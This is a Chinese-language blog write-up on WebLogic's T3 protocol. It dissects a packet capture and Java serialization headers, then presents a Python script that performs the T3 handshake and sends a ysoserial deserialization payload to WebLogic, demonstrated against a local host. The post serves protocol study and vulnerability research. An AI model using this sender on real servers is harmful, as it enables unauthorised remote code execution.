前段时间总结了weblogic历年来的rce漏洞,并编写了poc,这些漏洞中有好几个都要用到T3协议来发送序列化数据,所以需要用python来模拟实现t3协议,当然t3协议脚本,github上就可以找到,虽然用别人的脚本改一下也可以完成数据的发送,但是我还是很好奇这个t3协议到底怎么构造的,怎么发送数据的,他的协议格式是什么样的,于是再一番查阅资料过后,有了这篇文章。
废话不多说,先丢一份参考资料,当中关于如何模拟t3协议数据包讲的很详细,我这里只是实操一下
http://drops.xmd5.com/static/drops/web-13470.html
为了直观,我先用wireshark抓一个t3通信的数据包,并以ascii方式显示
红色内容为我们发给weblogic的数据,蓝色为weblogic返回的数据
第一段红色数据相当于一个握手包,发给weblogic,然后webligc回复,这一段包很好构造,直接发送
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n
就行,重点是第二个包的构造,我们在wireshark中以hex模式查看数据流,如下
在继续之前,我们需要知道java反序列化数据都有一个特征数字:ac ed ,ac ed后面跟版本号(也就是上面的 00 05), 这个我们也可以通过实验证明:
import java.io.*;
public class Ser {
public static void main(String[] args) throws IOException {
File file = new File("test.txt");
FileOutputStream out = new FileOutputStream(file);
ObjectOutputStream obj = new ObjectOutputStream(out);
obj.writeObject((new Test1("axin", 18)));
}
}
class Test1 implements Serializable {
String name;
int age;
Test1(String name, int age){
this.name = name;
this.age = age;
}
public void show(){
System.out.println("年龄:"+age+",姓名:"+name);
}
}
上面是一小段java序列化的demo, 大概功能就是序列化Test1的对象并写入test.txt文件中,运行程序,我们可以看到工程目录下生成了test.txt文件,我们用一个可以以16进制展示文件的工具打开test.txt,我linux环境下用的xxd(使用方法:xxd 文件名),可以看到文件内容如下:
可以看到,这个序列化后的对象,开头几个数字也是aced0005。所以根据抓包结果,我一共在其中找到了五个aced,也就是说它t3协议发送了五个序列化后的对象,这和参考文章中所说的六个有所出入(以下是参考文章中的图片,借用一下)
虽然上图中的数据包和我所抓到的数据包有所出入,但是并不影响我们的分析,由上图可以看到以aced开头的有六部分,还有第一部分是一些额外的数据(直接拷贝就行),这个第一部分的前四个字节,也就是上图中的00 00 06 af
是整个数据包的大小,单位是字节,所以这一点是我们在模拟t3协议需要特别关注的。
然后按照参考文章中所说,构造数据包一般来讲有两种方式,
注:图片都来自参考文章
然后在参考别人写的t3协议脚本的时候还注意到一个细节,那就是如果采用第一种替换方式,那么你还需要在你的恶意序列化数据的结尾加上fe010000
,不知道为什么每个序列化数据都是用这几个字节隔开的,你可以通过上面的数据包截图观察到这一点。
但是如果你采用第二种方式构造数据包的话,就不需要担心这个问题,直接拼接就ok了。下面是我采用的第二种方式实现的一个python 模拟t3协议发送数据的脚本
# -*- coding:utf-8 -*-
import binascii
import socket
import time
def t3():
hello = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
host = ('127.0.0.1', 7001)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(15)
sock.connect(host)
sock.send(hello.encode('utf-8'))
time.sleep(1)
resp1 = sock.recv(1024)
print(resp1)
data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
with open('poc', 'rb') as f:
a = binascii.b2a_hex(f.read()).decode('utf-8')
print(a)
data = data1 + a
data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
sock.send(binascii.a2b_hex(data))
time.sleep(2)
sock.send(binascii.a2b_hex(data))
if __name__ == "__main__":
t3()
其中poc文件存放着我利用ysoserial工具生成的一个payload,这个payload如果成功被有漏洞的weblogic反序列化的话就会在目标主机的/tmp目录下创建一个axin.txt文件,当执行该脚本后,我们去目标机上看一下: